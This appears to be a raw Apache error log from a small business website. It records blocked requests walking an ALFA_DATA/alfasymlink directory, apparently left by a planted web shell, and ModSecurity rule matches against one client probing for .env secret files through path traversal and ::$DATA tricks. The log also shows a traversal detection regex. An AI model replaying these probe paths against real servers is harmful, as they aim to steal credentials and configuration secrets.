[Sun Oct 25 11:52:06.270769 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 35.153.86.200:9323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/button/uevent
[Sun Oct 25 11:52:09.543438 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 185.191.171.18:29270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/hwcache_align
[Sun Oct 25 11:52:10.289339 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 3.223.134.5:44502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:52:14.232530 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 34.205.163.103:53067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:52:18.260330 2026] [core:error] [pid 2855794:tid 2855794] (13)Permission denied: [client 34.194.233.48:35882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/uhci_hcd/bind
[Sun Oct 25 11:52:19.567865 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 85.208.96.198:54440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/usersize
[Sun Oct 25 11:52:26.276689 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 23.21.148.226:15394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:52:30.254946 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 54.156.248.117:38531] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:52:38.303579 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 52.4.213.199:51913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:52:46.386716 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 34.225.243.131:43312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:52:50.381706 2026] [core:error] [pid 2855794:tid 2855794] (13)Permission denied: [client 35.168.238.50:34964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/compact
[Sun Oct 25 11:52:58.546331 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 54.156.124.2:6239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:53:02.300566 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 54.85.7.119:17701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:53:10.505787 2026] [core:error] [pid 2855803:tid 2855803] (13)Permission denied: [client 54.147.238.89:6938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/uevent
[Sun Oct 25 11:53:26.758456 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 3.218.35.239:57263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:53:43.340178 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 185.191.171.16:37298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:53:46.556715 2026] [core:error] [pid 2855794:tid 2855794] (13)Permission denied: [client 54.84.102.81:65206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/driver/module/uevent
[Sun Oct 25 11:53:54.412055 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 52.202.233.37:3007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:53:58.514709 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 3.221.244.28:42675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:02.537813 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 100.29.160.53:30811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:10.362282 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 34.203.111.15:8694] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:19.290199 2026] [core:error] [pid 2855809:tid 2855809] (13)Permission denied: [client 44.218.170.184:15366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0303:00/physical_node1/driver/bind
[Sun Oct 25 11:54:22.457591 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 44.212.145.46:61803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:24.541207 2026] [core:error] [pid 2855816:tid 2855816] (13)Permission denied: [client 85.208.96.193:56488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/alloc_calls
[Sun Oct 25 11:54:27.840365 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 3.221.244.28:28685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:30.531603 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 44.208.223.68:51284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:32.842068 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 185.191.171.5:32068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/usersize
[Sun Oct 25 11:54:34.742738 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 54.235.172.96:54578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rom
[Sun Oct 25 11:54:50.230202 2026] [core:error] [pid 2855794:tid 2855794] (13)Permission denied: [client 85.208.96.200:56800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/cache_dma
[Sun Oct 25 11:54:54.560418 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 54.152.163.42:33963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:54:59.462319 2026] [authz_core:error] [pid 2855803:tid 2855803] [client 35.198.57.29:55570] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 11:55:02.412791 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 98.82.107.102:7214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:06.795926 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 34.226.89.140:23338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:09.042136 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4mXczKV4PiShTe6l2g5gAAACI"]
[Sun Oct 25 11:55:09.042620 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4mXczKV4PiShTe6l2g5gAAACI"]
[Sun Oct 25 11:55:09.043055 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4mXczKV4PiShTe6l2g5gAAACI"]
[Sun Oct 25 11:55:09.414371 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at4mXczKV4PiShTe6l2g5wAAACI"]
[Sun Oct 25 11:55:09.414755 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at4mXczKV4PiShTe6l2g5wAAACI"]
[Sun Oct 25 11:55:09.415065 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at4mXczKV4PiShTe6l2g5wAAACI"]
[Sun Oct 25 11:55:09.690655 2026] [authz_core:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 11:55:09.896747 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4mXRUSNe6FSAQsg7tT1wAAABs"]
[Sun Oct 25 11:55:09.897281 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4mXRUSNe6FSAQsg7tT1wAAABs"]
[Sun Oct 25 11:55:09.897644 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4mXRUSNe6FSAQsg7tT1wAAABs"]
[Sun Oct 25 11:55:10.618522 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4mXszKV4PiShTe6l2g6QAAACI"]
[Sun Oct 25 11:55:10.618527 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4mXrhaAozp4xXC6PB6DwAAAAg"]
[Sun Oct 25 11:55:10.619174 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4mXszKV4PiShTe6l2g6QAAACI"]
[Sun Oct 25 11:55:10.619191 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4mXrhaAozp4xXC6PB6DwAAAAg"]
[Sun Oct 25 11:55:10.619552 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4mXszKV4PiShTe6l2g6QAAACI"]
[Sun Oct 25 11:55:10.619593 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4mXrhaAozp4xXC6PB6DwAAAAg"]
[Sun Oct 25 11:55:10.620598 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjxOmpmOl2xtX8jakgAAAB8"]
[Sun Oct 25 11:55:10.620666 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjxOmpmOl2xtX8jakgAAAB8"]
[Sun Oct 25 11:55:10.620790 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjxOmpmOl2xtX8jakgAAAB8"]
[Sun Oct 25 11:55:10.621036 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjxOmpmOl2xtX8jakgAAAB8"]
[Sun Oct 25 11:55:10.623664 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjny6hllpa988e1vDAAAAAI"]
[Sun Oct 25 11:55:10.624023 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjny6hllpa988e1vDAAAAAI"]
[Sun Oct 25 11:55:10.624248 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at4mXjny6hllpa988e1vDAAAAAI"]
[Sun Oct 25 11:55:10.739935 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4mXtC9X1saEIOersrHPgAAABY"]
[Sun Oct 25 11:55:10.740444 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4mXtC9X1saEIOersrHPgAAABY"]
[Sun Oct 25 11:55:10.740846 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4mXtC9X1saEIOersrHPgAAABY"]
[Sun Oct 25 11:55:10.835006 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4mXhUSNe6FSAQsg7tT2AAAABs"]
[Sun Oct 25 11:55:10.835602 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4mXhUSNe6FSAQsg7tT2AAAABs"]
[Sun Oct 25 11:55:10.836017 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4mXhUSNe6FSAQsg7tT2AAAABs"]
